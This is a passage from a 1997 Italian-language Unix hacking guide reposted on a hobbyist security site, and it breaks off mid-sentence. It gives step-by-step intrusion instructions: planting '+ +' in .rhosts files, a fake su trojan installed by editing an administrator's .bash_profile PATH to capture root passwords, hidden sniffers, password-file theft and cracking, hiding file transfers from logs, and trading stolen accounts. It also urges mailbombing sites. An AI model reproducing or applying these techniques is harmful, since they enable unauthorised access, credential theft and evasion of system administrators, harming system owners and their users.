Utenti Online:  | IP:  28/10/2002: Aggiornata la grafica del sito, by pCwArE ;))
Menù
Tecniche di intrusione
Security FAQ 1.0

Protocollo TCP/IP

Buffer Overflow
DDoS
ICMP
Grande Guida Hacking
Enciclopedia Lord Shinva
Lista Porte
RFC
Linux
Shell
How to become a hacker
Jargon File

 

DISCLAIMER: Si ricorda che il Web Admin del sito ed il provider non si ritengono responsabili in nessun modo del cattivo utilizzo che chiunque dovesse fare di tutto il materiale contenuto nel sito. Lo scopo della Security Check Community è quello di condividere ed approfondire le conoscenze della comunità.

 

Votaci!!

Hacking/Documentazione
S
L A I H S P R E S E N T A

L A G R A N D E G U I D A A L L ' H A C K I N G D I U N I X

 

Versione 1.0b di Novembre '97

Scritto e tradotto da Lord KasKo & Turbo Snail di Italian Hacking Service

!!!!!ATTENZIONE!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

La IHS non e' responsabile di danni prodotti a persone o cose causate

dell'applicazione delle informazioni contenute nella guida. La guida e' al solo

scopo informativo.

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

INTRODUZIONE DELLA IHS

----------------------

Ciao Ragazzi e benvenuti nel fantastico mondo dell'hacking. Mancavano proprio

delle guide in italiano, vero? Ebbene, noi della IHS abbiamo voluto scrivere

questo manuale in modo da far avvicinare le persone a questo mondo. Questa guida

e' un insieme di conoscenze personali, di altri testi e di quant'altro. Speriamo

di aver fatto un buon lavoro e se avete qualche commento scriveteci a

lordkasko@freeweb.essenet.it

Vogliamo ringraziare Invisible-Evil per la sua bellissima guida da qui abbiamo

tratto spunto, a noi per essere hacker e a tutti quelli che ci appoggiano, come

Jader del sito Zona d'Ombra (http://www.abnet.it/zo/index.htm), ed altri hacker

come InfectedMachine e tutti quelli di SystemDown, gli unici italiani che hanno

avuto le palle di venir fuori facendo un'ottima rivista. Forza ragazzi !!!!!!

FUCK! a tutti quelli che utilizzano le loro capacita' informatiche per creare

casino nella nostra comunita', quelli che distruggono siti per il piacere di

farlo.

FUCK! a chi utilizza internet per intraprendere traffici di bambini e chi

sostiene i pedofili!!! Invitiamo, come hanno fatto i colleghi di SD, a

distruggere con mailbomb siti pedofili oppure avvisare le autorita'.....

Infine salutiamo te e ti auguriamo una buona lettura......

Nota :

QUESTO DOCUMENTO CONTIENE DEL CODICE IN C - FATE IN MODO DI NON SALVARE NESSUNA

MODIFICA.

Se avete altri Exploits,bugs, sniffers o utility che non sono presenti in questo

testo,per favore inviate una E-Mail a : lordkasko@freeweb.essenet.it

In questo modo potremo mantenervi costantemente aggiornati sulle ultime versioni

di questo toolkit!

------------------------------------------------------------------------------

Elenco dei contenuti:

Avviso

Prefazione

Capitolo I - I comandi Unix da conoscere assolutamente.

1A. Comandi basilari

Come ritornare alla propria Home directory

Come raggiungere facilmente la Home directory di un utente

Come vedere in quale directory ci si trova

Come ottenere un manuale completo di ogni comando

1B. Telnet

Permessi dei file Unix

Gruppi Unix

Come cambiare permessi e gruppi

1C. Rlogin

.rhosts

Come preparare un file .rhost per fare login senza password

1D. FTP

Collegarsi al sito,ma mai al di fuori di esso.

Uso di prompt, hash e bin

Uso di get, put, mget e mput

1E. GCC (compilatore unix)

Come inserire un file in un sistema senza doverlo uploadare

Come copiare dei file nella propria Home directory in modo semplice

Come compilare dei programmi in C

Come rinominare a piacere i programmi in C

Come caricare dei programmi in background mentre ci si sta scollegando

Controllare i processi usando ps

Capitolo II - Come iniziare (il vostro primo account)

2A. Come crackare i file delle password

Come ottenere centinaia di account col vostro primo 'hacked account'

Perche'avete davvero bisogno di una password crackata in un sistema

Come ottenere la paasword di root in un sistema non espugnabile

Usare un falso programma SU

Documentazione sul falso programma su

Come ottenere la password del Sysadm

Come leggere .bash_history

Cracker jack - un buon password cracker

Come usare Cracker jack

File vocabolario

Cosa serve per iniziare

Modificare il file vocabolario

Hash file da usare con Cracker Jack e il vostro file vocabolario

Hash file da usare con Cracker jack e il vostro file di Password

 

2B. Parlando con dei Novellini

Come trovare i novellini

Come ottenere le loro password

2C. La strada piu' complicata.

Usare finger @

Dove potrebbe essere la password?

Ottenere maggiori informazioni da finger.

Un piccolo file .c da usare se avete fatto progressi.

Scrivere un piccolo Script in Perl che fa il lavoro al vostro posto.

Come ottenere una domain list di tutti i domini da rs.internic.net

Uno Script in Perl per scomporre i domini e porli in ordine in una lista

leggibile

Come eseguire lo script in Perl

2D. Usare mount per ottenere l'accesso ai sistemi Unix

Cos'e'nfs mount

Di cosa si necessita per iniziare

Come verificare che in un sistema si possa fare il mount dei drive

Uno script per cercare sistemi sui quali sia possibile fare nfs mount

Come fare il mount del sistema

Come fare l'unmount del sistema

Una dimostrazione dal vero

Mounting del drive

Vedere le directory dell'utente

Editare il Password file della macchina locale

Come mettere un file .rhosts nelle directory degli utenti

Come fare rlogin negli account degli utenti

Capitolo III - Come ottenere il file delle Password.

3A. PHF

Cos'e'il phf

Usare lynx o Netscape per accedere al phf

Trovare lo user id tramite WWW

Come vedere se si e'root tramite phf

Come trovare il file delle password con phf

Fare una copia di backup del password file delle vittime

Cambiare la password di un utente con phf

Ripristinare le vecchie password.

Un file .c per inviare comandi al phf dalla vostra shell

Come usare il file di shell di phf

Un altro modo di usare il phf - Testo di Quantum

BindWarez file by Quantum

Uno script perl che prova OGNI domain su Internet e fa il log degli accessi

di root e recupera i password file per voi tutto il giorno rimanendo in

background.

Documentazione per lo script appena citato

Ottenere degli account da /var/?/messages

Uno script per ottenere le password se si ha accesso a /var/?/messages

3B. Novellini

3C. Ottenere i file shadow passwd

Cos'e'una shadow passwd

Ottenere il file shadow senza l'account di root

Un file .c per recuperare qualunque file senza l'account di root

3D. Raggiungere /etc/hosts

per quale motivo andare in /etc/hosts

Capitolo IV - Guadagnare l'account di Root

 

Cosa fare se non si riesce ad ottenere l'accesso di root nel sistema

4A. Bugs

Introduzione

4B. Exploits

L'exploit tramite mount/unmount

Cosa sono i SUID perm's

Il file .c per l'unmount

Come compilare unomunt.c

Exploit di Linux tramite lpr

File .c per l'exploit di Linux tramite lpr

Il file .c per l'exploit con lpr (versione per BSD)

Come usare lpr

Guardare i proprietari del gruppo con lpr

Usate lpr per la prima root,poi fate una SUID shell

Come ottenere una SUID root shell per futuri accessi di root (root root)

L'Exploit con splitvt

Programma .c per l'exploit con splitvt

Come usare il programma splitvt per l'exploit

Lo script di shell per l'exploit di root con Sendmail 8.73 - 8.83

Come usare l'exploit con sendmail per ottenere root access

Capitolo V - Renditi invisibile

Mantenere l'accesso

5A. Zap2 (per wtmp/lastlog/utmp)

Fare finger all'host prima di login

Fare login e stare al sicuro

Come configurare Zap2

Trovare la locazione del log file

Il programma zap.c

5B. Altri script

l'editor wted per wtmp

Come fare chmod al file wtmp.tmp

Come copiare il file wtmp.tmp in wtmp

Settare il path per il file wtmp in wted

il file wted.c

Pulire il lastlog con lled

Riga di comando per lled

Come usare lled

Come fare chmod al file lastlog.tmp

Come copiare il file lastlog.tmp in lastlog

Settare il path per il file lastlog in lled

Il file lled.c

Un buon script perl per editare i file wtmp,utmp e controllare i processi

Capitolo VI - Eliminare i log file

6A. Un giro in un sistema hackato

Logghiamoci nel sistema

Cerchiamo l'admin

Directory nidificate

Preparare il file di Root

Diventare invisibili

Fare il grep della directory dei log

Sniffare la rete

Editare il file linsniffer.c

Dare un'occhiata ai processi che girano

Compilare e chiamare il programma di sniffing

Iniziare una sessione di sniff

Cambiare gli accessi ai file del gruppo

Realizzare un trojan suid root shell per avere uid=0 gid=0 ogni volta

Chiamare il Trojan

Modificare la data dei file

Controllare il log file dello sniffer

Svuotare il contenuto degli history files

Usare unset per gli history files.

6B. Messaggi e syslog

Come trovare i logs usando /etc/syslog.conf

Come vedere se ci sono logs nelle directory nascoste

Come vedere se i logs vengono postati agli account degli utenti

Come vedere se i logs stanno andando su di un'altra macchina

Come editare syslog.conf per nascondere i login

Riavviare syslogd

Come vedere se c'e'un log segreto di su leggendo /etc/login.defs

6C. xferlog.

Come editare xferlog

Come greppare ed editare i logs www

Come cercare i logs ftp

Altri modi per editare i testi dei log

Usare grep -v

Uno script per ricavare linee di testo da questi log

Riavviare syslogd

6D. I crontabs

Come trovare e leggere i crontabs di root o dell'admin

Come vedere se MD5 e settato sulla macchina

Cos'e'MD5

Capitolo VII - Mantenere l'accesso alla macchina

7A. Trucchi e segreti

Quando vieni beccato dall'admin

Cosa aspettarsi dall'admin

History files

Directory nidificate

Inserire dei Trojan

Directory nascoste

Creare nuovi comandi (trojans)

Aggiungere o cambiare delle parti del passwd file

Modificare alcuni admin account con password nulla

Il miglior modo di aggiungere un account

Editare un account vuoto in modo da potersi loggare

Installare alcuni giochi o programmi exploitable

Come conoscere il tuo admin

Leggere la mail di sistema (senza aggiornare i puntatori)

Cosa cercare nella directory della mail

Un programma per leggere la posta senza aggiornare i puntatori

7B. Backdoors

7C. Root Kits e trojan

Cosa sono i Root kit

Cosa sono i Demon kit

Cosa fanno i trojan

 

*********************************************************

* Appendice I - Cosa fare dopo un accesso *

*********************************************************

La Check list dalla a alla z

****************************************************

* Appendice II - Siti Hacking / Security WWW / ftp *

****************************************************

 

*********************************************************

* Appendice III - FILES UUENCODATI *

*********************************************************

1. Quantum's Bindwarez -File binari per PHF

2. Demon Root Kit - Include: Banish, DemonPing, DemonSu, DemonTelnet

3. Linux Root Kit - Include: Login, Netstat, and, PS

4. Programma Fake SU

 

**********

Avviso!!!

**********

E' vero, questo manuale aiutera' gli hackers ad entrare nei sistemi ma e' da

considerarsi anche come una guida per i Sysadm per affrontare i problemi

riguardanti la sicurezza e per conoscere quali siano gli elementi da

controllare in modo da tenere fuori gli hacker.

Se usi questo manuale per guadagnare l'accesso ad un qualunque sistema al quale

non appartieni e danneggi una sua qualsiasi parte sei punibile a norma di legge.

Non sto dicendo di entrare nei sistemi, sto soltanto dicendo qualcosa della mia

esperienza e delle cose che farei se entrassi dentro al mio stesso sistema.

Questa e' solo una informazione ....

**********

Prefazione

**********

Ok, cominciamo. Se hai intenzione di fare dell'hacking, devi farlo per una

ragione. Tutti gli hackers hanno una ragione per farlo. La maggior parte ha solo

sete di sapere. La maggior parte di cio' che so l'ho imparata in qualche service

provider o sulla macchina di qualcun altro.

Sono uno che punta molto sull'esperienza personale.

Se avessi dovuto studiare cio' che so, avrei dovuto leggere 20000 libri solo per

sapere qualcosa su alcuni file di configurazione, sui messaggi email degli

amministratori, sui file .bash_history e qualcos'altro su alcuni altri sistemi.

Qui in questo manuale dovresti imparare come essere un "hacker completo" e

sviluppare un tuo stile. Non ci vorra' molto ma ci vorra' un po' di esperienza

prima di poterti considerare davvero un hacker.

Non basta sapere crackare un file di password ed entrare in una macchina unix

per considerarti un hacker.

Ok, sai come ottenere l'accesso di root in un sistema! Non sei ancora un hacker!

Prima devi sapere perche' sei un hacker e poi avere un tuo stile e una tua

filosofia. Ci vuole uno scopo ed una ragione per entrare in qualunque sistema.

Il vero hacker sa perche' sta facendo qualcosa, e lo fa per ragioni come il

sapere, l'informazione, e l'ACCESSO. Il vero hacker trasformera' un hack in

accessi a molti diversi sistemi e provider e manterra' questi accessi per

conoscenze future e per maggiori informazioni.

Gli hacker da quattro soldi non saranno invisibili e faranno molte sciocchezze

come: cancellare e corrompere dati, fare cadere le macchine, lanciare dei bot o

dei client IRC dagli account di root o dare a tutti le password che ha crackato

per far sapere a tutti che sa fare dell'hacking. O potrebbere fare sciocchezze

che lo portera' ad essere beccato. Penso che talvolta questo venga fatto di

proposito per attirare su di se' l'attenzione in modo da essere beccato ed

annunciare che sono hacker, e che c'era anche lui!

Un vero Hacker non cerca questo tipo di gloria, vuole l'accesso e vuole

mantenerlo ed essere invisibile! Non dira' a molti amici riguardo il sistema,

non dara' in giro le password o gli account e terra' gli altri

fuori in modo da mantenere l'accesso e tenerlo il piu' possibile pulito.

 

Qui in questo manuale spero di aver messo abbastanza stile in modo che tu possa

davvero interessarti a quest'opera e diventare cosi' un vero buon hacker!

HAPPY HACKING!!!

--------------------------

Capitolo I

Comandi unix da conoscere.

--------------------------

Ci sono solo pochi comandi basilari da imparare, e poi anche alcuni programmi

unix che ti aiuteranno a collegarti, a penetrare nel sistema o a mantenere

l'accesso ad una macchina.

Chiama il tuo Internet Provider locale e chiedi loro uno shell account in modo

da poter imparare e fare della pratica su questi comandi base. Un normale

account di shell non e' in genere caro.

 

----------------

Sezione 1A

Comandi basilari

----------------

Spero tu abbia una conoscenza di base del DOS, che ti aiutera' un po' e partiro'

da questo presupposto durante la stesura di questo manuale.

A sinistra ci sono i comandi DOS, a destra i corrispettivi comandi UNIX:

RICORDA: Unix e'case-sensitive, cosi' se qui si usa il minuscolo devi farlo

anche tu; se io uso lo spazio lo devi fare anche tu. Dos ti lascera' passare

tante di queste cose: unix NO!

DIR/W = ls

DIR = ls -l

DIR/AH = ls -al AH=(hidden) -al=(include anche i file nascosti)

RENAME = mv

ATTRIB = chmod

MD = mkdir

RD = rmdir

DEL = rm

COPY = cp

Questi sono i comandi di base, ti suggerisco di guardare il manuale di ciascuno

di questi comandi direttamente dalla shell unix. Lo puoi fare digitando:

man comando

Ciascuno di questi comandi ha dgli switch, come cp -R per copiare file e

directory. Cosi' dovresti scrivere:

man cp per vedere tutti gli switch che puoi usare con il comando di copia.

cd (poi premi INVIO) ti portera' sempre alla tua home directory

cp nomefile $HOME copiera' il file nella direcory home.

cd ~nomeutente ti portera' nella Home directory di quell'utente, sempre che tu

vi abbia accesso

pwd (premi INVIO) ti dira' in quale directory ti trovi

-------------

Sezione 1B

Telnet

-------------

Telnet e'un comando che puoi usare da un account di shell, o da un file exe

(telnet.exe) da Windows, OS/2 e Windows 95 e altri OS che permettono di

collegarsi ad altre macchine sulla rete. Ci sono altri programmi che

conoscerai qui, come FTP e rlogin che puoi usare ma ora useremo telnet.

Puoi usare telnet se conosci l'indirizzo IP o il nome dell'host al quale vuoi

collegarti. Per usare il comando ti serve solo il programma telnet per

collegarti all'IP o all'host in questo modo:

Telnet netcom.com oppure telnet 206.146.43.56

OK, e ora il login:

telnet machine.com

trying .....

Connected to machine.com

Linux 2.0.28 (machine.com) (ttyp0)

machine login:username

password:#######

bash$

Il tuo prompt potrebbe apparire differente, ma noi useremo questo.

Nota qui sopra che ti verra' detto quale OS gira sulla macchina a cui ti sei

collegato.

Puoi usare questo se raccogli una vasta collezione di passwd file. Prima di

iniziare a crackarli, ordinali per tipo di O/S facendo soltanto il telnet in

modo da sapere che sistema usano.

Ci sono altri modi, ma manteniamo questo argomento ancora per un attimo,telnet

domain.name.com ,dopo aver visto cosa gira su di una macchina prendi nota e

premi CTRL J per chiudere la connessione.

Metti insieme tutti i tuoi file di passwd in un solo pile che dovrai crackare

per primo.. Tutto cio' che serve e' un account che funziona per quel sistema, e

saremo quasi certi che otterremo i permessi di root su quella macchina! Ci sono

talmente tanti buchi in linux da pensare di non poter penetrare in una di quelle

macchine!

OK, ora possiamo entrare nel meraviglioso mondo dell'hacking

----------------------

Permessi dei file Unix

----------------------

bash$

bash$ cd /tmp

bash$ ls -l

total 783

-rwx------ 1 wood users 1 Jan 25 18:28 19067haa

-rw-r--r-- 1 berry mail 1 Jan 16 12:38 filter.14428

-rw------- 1 rhey19 root 395447 Jan 24 02:59 pop3a13598

-rw------- 1 rhey19 root 395447 Jan 24 03:00 pop3a13600

drwxr-xr-x 4 root root 1024 Jan 12 13:18 screens

Prima cosa: dobbiamo usare lo slash ( / ) al posto del back-slash ( \ ) per

accedere alla directory tmp! Unix usa / per la root directory, al contrario del

DOS che usa appunto il simbolo \

Nota che abbiamo usato ls -l per la directory nel formato "a tutta pagina". Se

avessimo usato 'ls' avremmo ottenuto cio' che c'e'qui sotto.

bash$ ls

19067haa filter.14428 pop3a13598 pop3a13600 screens

Con quello che vediamo qui non possiamo dire molto, cosi' perlopiu' useremo ls -

al con -al vedremo anche i file hidden, le directory e i file nascosti

inizieranno sempre con '.'. Ora guarda:

bash$ ls -al

total 794

drwxrwxrwt 4 root root 8192 Jan 25 23:05 .

drwxr-xr-x 22 root root 1024 Dec 28 18:07 ..

-rw-r--r-- 1 berry users 6 Jan 25 23:05 .pinetemp.000

drwxr-xr-x 2 berry users 1024 Jan 25 23:05 .test

-rwx------ 1 wood users 1 Jan 25 18:28 19067haa

-rw-r--r-- 1 berry mail 1 Jan 16 12:38 filter.14428

-rw------- 1 rhey19 root 395447 Jan 24 02:59 pop3a13598

-rw------- 1 rhey19 root 395447 Jan 24 03:00 pop3a13600

drwxr-xr-x 4 root root 1024 Jan 12 13:18 screens

.pinetemp.000 e'un hidden file, and .test e'una directory hidden.

-rw-r--r-- 1 berry mail 1 Jan 16 12:38 filter.14428

riga 1 riga2 riga3

----------------------------

Ora abbiamo bisogno di imparare qualcosa sui permessi, sugli utenti e sui

gruppi.

La riga #1 indica i permessi del file

La riga #2 indica chi e'il proprietario del file

La riga #3 indica il gruppo di appartenenza del file

I permessi dei file sono raggruppati in 3 gruppi diversi.

Se la linea comincia con una d, e'una directory, se non c'e'la d, e'un file.

- --- --- ---

| | | |--------> Other = Chiunque accede alla macchina

| | |------------> Group = alcuni gruppi possono accedere

| |----------------> User = Solo il proprietario puo' accedere

|------------------> Marcatore della Directory

- rw- r-- r--

| | | |--------> 'Other' puo' solo leggere i file

| | |------------> 'Group' puo' solo leggere il file

| |----------------> 'User' puo' scrivere il file

|------------------> Non e' una directory

 

- rwx rwx r-x

| | | |--------> 'Other' puo' leggere ed eseguire il file

| | |------------> 'Group' puo' leggere ed eseguire il file

| |----------------> 'User' puo' scrivere ed eseguire il file

|------------------> Non e' una directory

Il proprietario e' l' 'user name' nella riga #2 e il group name e'il nome nella

riga #3. Nel DOS i file hanno l'estensione .exe, .com, o .bat per gli

eseguibili, ma in unix basta la --x nel tuo gruppo 'user', 'other' e

'group'

Puoi cambiare questi permessi se sei il proprietario del file o se sei ROOT:

---------------------------------------------------------------------------

chmod oug+r filename dara' accesso in lettura del file a tutti e tre i gruppi

chmod og-r filename rendera' il file leggibilie solo dall'utente che possiede il

file. (nota che - o + settano il valore di verita' del parametro del file).

chmod +x filename rendera' il file eseguibile da tutti.

chown username filename rendera' il file di proprieta' di un altro utente

chgrp groupname filename rendera' il file di proprieta' di un altro gruppo

---------------------------------------------------------------------------

Stai attento a non cambiare i permessi dei file o ti butteranno fuori dal

sistema. Cambiare le configurazioni del sistema potrebbe solo far saltare altre

funzioni, cosi' tieni lontane le zampe se non vuoi farti beccare!

Fai solo cio' di cui sei *SICURO*. Usa solo comandi che conosci, potresti

ritrovarti a trascorrere ore a fare un fix di questo tipo:

chown -R username /* Potrebbe tenerti impegnato per un anno! :)

Ti basta stare attento!

Approfondiremo le conoscenze di questo stuff quando sevira'.

------------------

Sezione 1C

Rlogin

------------------

C'e' un altro comando che puoi usare e che approfondiremo altrove quando diremo

come usare rlogin per loggarsi ad un sistema senza una password.

Per ora leggi il manuale di rlogin usando man rlogin dalla tua shell.

Il comando base sara':

rlogin -l username hostname

connecting....

password:

bash$

Rlogin necessita che l'utente abbia un file nella home che dica da quale sistema

si puo' fare rlogin. Questo file .rhosts dovrebbe apparire cosi':

username hostname (or) hostname

Se aggiungi + + a questo file, lascera' entrare chiunque da qualunque host

senza password.

Questo file dovrebbe apparire cosi':

----- cut here ------

+ +

_____ cut here ------

Se ci sono gia' delle entry potresti aggiungere + + sotto i loro host names, ma

ricorda che ora noteranno che possono entrare con rlogin senza password.

Dovresti prendere di mira persone che non hanno ancora un file .rhosts

---------------

Sezione 1D

FTP

---------------

Un altro modo di fare login e'con FTP. Puoi usare un client windows, o anche

fare login da una shell.

ftp ftp.domain.com

Questo ti permettera' di fare upload e download dal sito su cui fai hack.

Ricordati di editare il xferlog (vedi la sezione 6d) per coprire le tue tracce

nel sistema. RICORDA! Non devi MAI fare ftp o telnet fuori dal sistema in cui

sei penetrato, lavora solo all'interno! Se provieni dal tuo stesso sistema, o da

un altro account hacked forse stai dando la tua login e la tua password al

sysadm o ad un altro hacker su quel sistema. Ci potrebbe essere un trojan

telnetd o ftpd caricato nel sistema, o anche uno sniffer, Ora potresti aver dato

a qualcuno la tua login e password. E se quel qualcuno e'il sysdam, potrebbe

pensare che la vendetta e'dolce ;)

Usando ftp da shell, ti suggerisco alcuni comandi:

Dopo esserti loggato, scrivi al prompt i seguenti comandi premendo enter dopo

ciascuno di essi.

prompt

hash

bin

prompt permettera' di usare comandi del tipo (mget *) o (mput *) e trasferire

l'intera directory senza che ti venga chiesta la conferma per ciascun file.

hash marks

hash mostrera' ########### sullo schermo cosicche' si possa vedere la velocita'

del trasferimento.

bin ti garantira' di ricevere i file nel modo giusto, e se si sta trasferendo un

file binario potra' essere decompresso.

I comandi di trasferimento sono semplici, get filename, o , put filename, o per

molti file puoi usare wild cards con mput e mget.

--------------------

Sezione 1E

Compilatore GCC

--------------------

Ci sara' un momento in cui avrai bisogno di compilare un file .c

E' meglio compilarlo sulla macchina in cui stai lavorando. Cosi' fai l'upload o

usa 'Copia e Incolla' sull'hacked box e compila li' il sorgente. Sei hai

problemi con il loro compilatore prova a fare l'upload del file precompilato.

Un modo di inviare il file sulla macchina vittima dovrebbe essere quello di

usare 'copy & paste'. Trova un buon tsr o uno shareware per windows per fare

cio' se adesso non hai nessun modo per farlo. Puoi copiare lo script da una

finestra all'altra dentro ad un editor della macchina vittima e in questo modo

non ci sara' nessun log del download di file ascii.

Per copiare e incollare puoi provare ad aprire un editor sull'hacked box e

copiare dall'altra sessione, e poi incollare lo script nell'editor e salvare il

file. In questo modo non ci sara' ancora nulla nello xferlog.

Puoi fare la stessa cosa col file di password. Se decidi di scaricare il file

delle password con ftp, ricorda di copiarlo nella tua Home con un nome diverso.

bash:/etc:> cp passwd $HOME/plog copiera' il file chiamato passwd dalla

directory /etc in cui ti trovi alla tua Home in un file chiamato plog invece di

passwd.

I SySaDm greppano i xferlogs alla ricerca di chi sta scaricando il file delle

password.

Un altro modo di inviare/ricevere file all'/dall' hacked box senza comparire nei

logs e'di aprire una sessione IRC sulla macchina vittima, poi dall'altra

sessione nella quale sei gia' un utente su IRC, inviare un file usando DCC.

Il comando per inviare i file e'/dcc send <nick> <file>

Sarebbe comodo se tu avessi un bot caricato su IRC quando stai facendo

dell'hacking cosi potresti inviare i file al bot e lasciare che li riceva

automanticamente.

Un 'bot' e'un programma robot che puoi caricare in background nello shell

account e si occupera' di ricevere file,tenere i canali aperti,etc...

Il Compilatore GCC e'semplice...

gcc filename.c -o nomechevuoi

Se stessi per compilare un programma chiamato z2.c che cancella i file log

scriverei questo:

gcc z2.c -o zap

Otterrei un file eseguibile chiamato zap

Se scrivi solo gcc z2.c otterrai un file chiamato a.out, questo e'l'eseguibile e

si puo' rinominare ad esempio come Zap col comando

mv a.out Zap

Ora ci sara' un file chiamato Zap che sara' eseguibile invece di a.out.

Vorrai essere sicuro di non chiamare un file con un nome identificabile dal

SYSadm: se hai uno sniffer chiamato linuxsniffer.c, in fase di compilazione,

sarebbe meglio cambiare il nome. Ad esempio:

gcc linuxsniffer.c -o lsn

Ricorda anche che a volte per eseguire questi file direttamente nella directory

dovrai scrivere soltanto il nome del file seguito da <Enter>.

A volte potrebbe non funzionare a meno che tu preceda con ./ il nome

dell'eseguibile, cioe'lsn diverrebbe

./lsn

A volte avrai bisogno di far girare in background un programma anche dopo il

logoff, come nel caso appena citato dello sniffer. In questo caso potresti voler

chiamare lo sniffer con un nome difficilmente identificabile.

Fallo secondo il tuo stile. MA per farlo rimanere in background mentre non siamo

loggati devi lanciare il comando seguito da &

lsn&

Se digiti solo lsn, lo schermo si blocchera' e non potrai scrivere mentre fai lo

sniffing ma se scrivi lsn& lo sniffer verra' caricato e avrai di nuovo il

prompt.

Il sistema ti fara' sapere che e'stato caricato dandoti il # del process id

assegnato al programma.

Puoi vedere i processi con il comando ps -x ,potresti voler lanciare

ps -auxe |more

a= all

u= show user

x= yours

e= env

Su alcune macchine

f=tree

o il comando: pstree

------------------------------------

Capitolo II

Iniziamo! (il tuo primo account)

------------------------------------

Ci sono molti modi per ottenere un account per iniziare. Trattero' ciascun

argomento per aiutarti a iniziare.

Tutto cio' che ti serve e' un buon account da cui tirarne fuori a centinaia.

Pensaci; Potenzialmente ogni macchina linux e' un buon sistema espugnabile. ;)

Ora hai un accesso di root e carichi uno sniffer. Lo sniffer TCP cerchera' i

processi di login alla rete e fara' il log della login e della password per ogni

telnet, ftp, o connessione dial-in che viene fatta verso l'esterno o verso

l'interno del sistema.

Anche se e'una piccola connessione ethernet, ci sono in giro un centinaio di

password per poche macchine o domini. Se e'un net provider piu' ampio otterrai

centinaia di account in tutto il mondo. Tutto cio' che ti serve e'un buon accout

e una password per un sistema da espugnare. Se sembra che non si possa fare

l'exploit alla root, potrebbe essere un buon sistema in cui crackare le password

e scambiare gli account per altri account con hackers o utenti di IRC che stanno

cercando di caricare un bot ma che non hanno un account di shell o spazio su

disco per farlo.

MAI scambiare anche una sola password di un sistema del quale hai ottenuto

accesso di root. Tieniti questi sistemi per te!

Ora vediamo come fare per ottenere il tuo primo account.

------------------------------

Section 2A.

Cracking sul phile di passwd

-----------------------------

Perche'continuare a crackare passowrd per un sistema del quale puoi ottenere

comunque la maggior parte delle password in 24 ore? Non solo per qull'hacked box

ma per tutte le altre macchine a cui e'collegato. Se il sistema non e' espugnabile,

non sprecarci tempo, vai sul prossimo! Piu' avanti potrai scambiare le password

che hai crackato.

Se ottieni un account di administrator crackato potresti voler leggere i suoi

history-files e vedere se di solito usa il comando su per accedere molto a root.

Se e'cosi' puoi usare un Trojan su di lui. Questo scoprira' per te la password

di root.

Funziona cosi': cambi il suo script di shell in modo che ci sia una directory

nascosta (.term) va bene,che sia settata nel path prima di tutte le altre. Metti

un fake-su in .term (o un altra directory). L'Admin digita 'su', tutto sembra

funzionare, digita la password di root la password e'copiata in un log file in

/tmp/.elm69, e il trojan su si cancella e riporta un errore di password dicendo

di provare ancora. L'admin pensa di aver sbagliato qualcosa e lancia di nuovo

su, ma ora tutto e' ok e riesce a loggarsi.

Troverai il fake su nell'ultima appendice chiamata 'file uuencodati'.

Fake Su by Nfin8 - i-e

IRC: /msg i-e

1,2,3...ecco fatto!

1. Cambia il path in uno degli user account nei quali hai verificato tramite gli

history-file che il proprietario usa SU,inserisci in testa al path la directory

dove il trojan SU file si trova. .term o .elm andranno bene!

2. Assicurati di editare l'inizio del file su.c per mettere il path dove il file

si trovera' una volta compilato,in modo da potersi auto-cancellare e lasciar

posto al vero SU per il secondo tentativo.

3. Metti tutti i file nella directory target e compila su.c

gcc su.c -o su

Ora cancella tutti i file eccetto su. Fatto!

.bash_profile divrebbe assomigliare a questo:

# .bash_profile

# Get the aliases and functions

if [ -f ~/.bashrc ]; then

. ~/.bashrc

fi

# User specific environment and startup programs

PATH=$PATH:$HOME/bin

ENV=$HOME/.bashrc

USERNAME=""

export USERNAME ENV PATH

Cambia la prima riga in: PATH=$HOME/.term:$PATH:$HOME/bin

Quando il sysadm lancia 'SU' lancera' il trojan nella directory .term e

riportera' il messaggio che la password digitata e'errata, il Trojan SU avra'

messo un file hidden nella directory /tmp per te che contiene la password di

root (o la password dell'account) che e'stata digitata. Se e'un account

piuttosto che root potrai sapere il nome dell'account. Poi il trojan su si

cancellera' in modo che la volta successiva si avviera' il vero SU .

Puoi trovare la password dell'amministratore nella sezione iniziale del file di

password nella directory /etc. Digita: more passwd

Puoi stare certo che i primi due account reali che si trovano nel password file

sono degli amministratori.

A volte ne puoi trovare altre nelle rispettive directory che sono indicate nel

passwd file.

Come /staff/username.

Gli History file sono in ciascuna directory di user account. Puoi leggerli per

vedere quali sono gli ultimi comandi digitati dall'utente. Qualche volta anche

piu' di 100 comandi. Cerca il file .bash_history, o History,puoi leggerli col

comando more. more .bash_history, oppure spesso puoi usare more .b* oppure

scrivere more .b (e poi premere il tasto TAB sulla tastiera).

Ok, ora ti serve un buon programma per crackare le password. Nel prossimo

capitolo scoprirai come ottenere il file di passwd nei sistemi in cui possiedi

un account, ma ti serve comunque un programma di cracking delle password!!

Ti servono 3 cose.

1. Programma per il cracking delle password

2. Un buon word file

3. Un file di password

(N.B. il phile di passwd deve essere il piu' possibile aggiornato, altrimenti

rischiate di perdere del tempo con password che sono gia' state cambiate dai

proprietari)

Il migliore programma di passwd cracking dovrebbe essere CRACKERJACK (anche John

the Ripper funziona davvero bene!) Entrambi possono essere cercati facilmente su

Web. Scarica,ad esempio, crackerjack. Se sei un po' piu' esperto puoi scaricare

una versione di cjack per unix e lanciarlo in una shell. Ma se stai iniziando,

cerca la versione per DOS/OS2.

Cerca anche un buon Word file. I migliori contengono nomi.

Troverai che le password meno sicure sono i nomi delle ragazze degli utenti o i

nomi dei ragazzi delle utenti ;)) Troverai wordfile del tipo 'familynames'

'babynames' 'girlsnames' 'boysnames' 'commonpasswords' Hackersdict' e file

similari dovrebbero essere una buona scelta.

lancia crackerjack cosi':

[D:\jack]jack

Cracker Jack version 1.4 for OS/2 and DOS (386)

Copyright (C) 1993, The Jackal, Denmark

PWfile(s) : domain.com.passwd

Wordfile : domain.com.passwd

Come prima cosa lancia il passwd file come wordfile. Questo ti permettera' di

ottenere tutti gli account di chi usa il proprio nome come password,anche se

hanno usato altre info come il nome della loro compagnia verra'

scoperto subito e non dovrai aspettare la ricerca tramite wordfile.

Se vuoi creare un hash word file per ottenere piu' possibilita',leggi la

documentazione di crackerjack.

L'hashing permette a crackerjack di cambiare il case del wordfile o anche di

aggiungere numeri e lettere all'inizio o alla fine dele parole nel wordfile,

come sandy1 o 1sandy. Scoprirai che molti utenti fanno questo e credono di

